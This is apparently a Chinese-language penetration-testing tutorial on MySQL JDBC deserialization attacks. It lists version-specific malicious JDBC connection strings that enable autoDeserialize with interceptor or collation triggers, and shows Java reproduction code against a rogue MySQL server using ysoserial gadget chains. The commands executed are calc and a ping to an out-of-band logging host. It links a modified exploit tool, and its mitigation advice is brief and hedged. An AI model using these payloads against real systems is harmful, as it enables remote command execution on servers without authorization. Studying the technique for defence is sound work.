前言

目前市面上出现的JDBC反序列化为MYSQL数据库。
想要找到利用点的话,大概就是这样,对于这种页面的渗透有两种思路
image.png
一是mysql恶意服务端文件读取
对于文件不可读取的时候有人提出了这种建议
image.png
二是mysql jdbc反序列化
条件:
1、需要客户端存在JDBC包且开放Mysql可控地址的功能
2、本地存在Gadget commons-collection
可以看到主要需要三个参数
jdbc:mysql://127.0.0.1:3306/mysql?user=root&pass=root
在实际的Web应用的话,我们也只需要注意这三个参数就好了
1、address jdbc:mysql://xx.xx.xx.xx:3306/mysql
2、user
3、pass(实际上并不需要用到)

利用的时候还需要注意jdbc这个第三方库的版本,我们是看不到的,只能猜测,根据版本使用对应的payload,利用链有两个触发点。
测MySQL JDBC Connector 5.1.x的版本需要在连接串中加一个maxAllowedPacket=655360属性,否则会报错(经过测试,好像加了也会报错,但是报错不影响命令执行)
ServerStatusDiffInterceptor触发

  1. - **8.x:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  2. - **6.x(属性名不同):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  3. - **5.1.11及以上的5.x版本(包名没有了cj):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=655360&user=yso_JRE8u20_calc
  4. - **5.1.10及以下的5.1.X版本:** 同上,但是需要连接后执行查询。
  5. - **5.0.x:** 还没有ServerStatusDiffInterceptor,不可用

detectCustomCollations触发:

  1. - **5.1.41及以上:** 不可用
  2. - **5.1.29-5.1.40:** jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  3. - **5.1.28-5.1.19:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  4. - **5.1.18以下的5.1.x版本:** 不可用
  5. - **5.0.x 版本:**不可用

大概原理就是JDBC在连接的时候会默认发起两个SQL语句查询,这两个查询会调用反序列化,反序列值包含恶意payload,在目标环境有可利用的gadget就可以实现命令执行了

复现

利用主要依托于的工具为https://github.com/fnmsd/MySQL_Fake_Server
pom.xml

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6. <groupId>jdbc-deser</groupId>
  7. <artifactId>jdbc-deser</artifactId>
  8. <version>1.0-SNAPSHOT</version>
  9. <dependencies>
  10. <dependency>
  11. <groupId>mysql</groupId>
  12. <artifactId>mysql-connector-java</artifactId>
  13. <version>8.0.14</version>
  14. </dependency>
  15. <dependency>
  16. <groupId>commons-collections</groupId>
  17. <artifactId>commons-collections</artifactId>
  18. <version>3.1</version>
  19. </dependency>
  20. </dependencies>
  21. </project>

服务器端代码JDBC 8.x

  1. import java.sql.Connection;
  2. import java.sql.DatabaseMetaData;
  3. import java.sql.DriverManager;
  4. import java.sql.SQLOutput;
  5. public class mysqljdbc {
  6. public static void main(String[] args) throws Exception{
  7. String driver = "com.mysql.cj.jdbc.Driver";
  8. String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc";//8.x使用
  9. Class.forName(driver);
  10. Connection conn = DriverManager.getConnection(DB_URL);
  11. DatabaseMetaData dbmd=conn.getMetaData();
  12. System.out.println(dbmd.getDriverVersion());
  13. }
  14. }

根据实际场景来修改user字段,如CommonsCollections5可以改成CommonsCollections6,JRE8u20,CommonsCollections11。这个就要依托于修改过的yso这个工具的强大了,这个工具修改成啥样,就能多样化攻击执行命令。

  1. P喵呜大佬改过的版本,内置的Yso可以直接用
  2. https://www.yuque.com/attachments/yuque/0/2021/zip/297422/1617096871598-6f6c0957-9540-4af8-9a6b-17a4fd5c4d42.zip

user=yso_CommonsCollections11_ping 06954c72.toxiclog.xyz 测试经过可以成功

服务器端代码JDBC 5.x

  1. <dependency>
  2. <groupId>mysql</groupId>
  3. <artifactId>mysql-connector-java</artifactId>
  4. <version>5.1.29</version>
  5. </dependency>
  1. public class mysqljdbc {
  2. public static void main(String[] args) throws Exception{
  3. String driver = "com.mysql.jdbc.Driver";
  4. String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections11_ping dae2457e.toxiclog.xyz";//5.x使用
  5. Class.forName(driver);
  6. Connection conn = DriverManager.getConnection(DB_URL);
  7. DatabaseMetaData dbmd=conn.getMetaData();
  8. System.out.println(dbmd.getDriverVersion());
  9. }
  10. }

image.png
经过测试
detectCustomCollations 的利用链会执行命令一次,且服务端产生报错
ServerStatusDiffInterceptor 利用链在5.x版本会执行命令10次,且服务端不报错

修复:
可以引入IP白名单机制
JDBC 21版本以上被修复了该漏洞好像。

参考资料
https://xz.aliyun.com/t/10599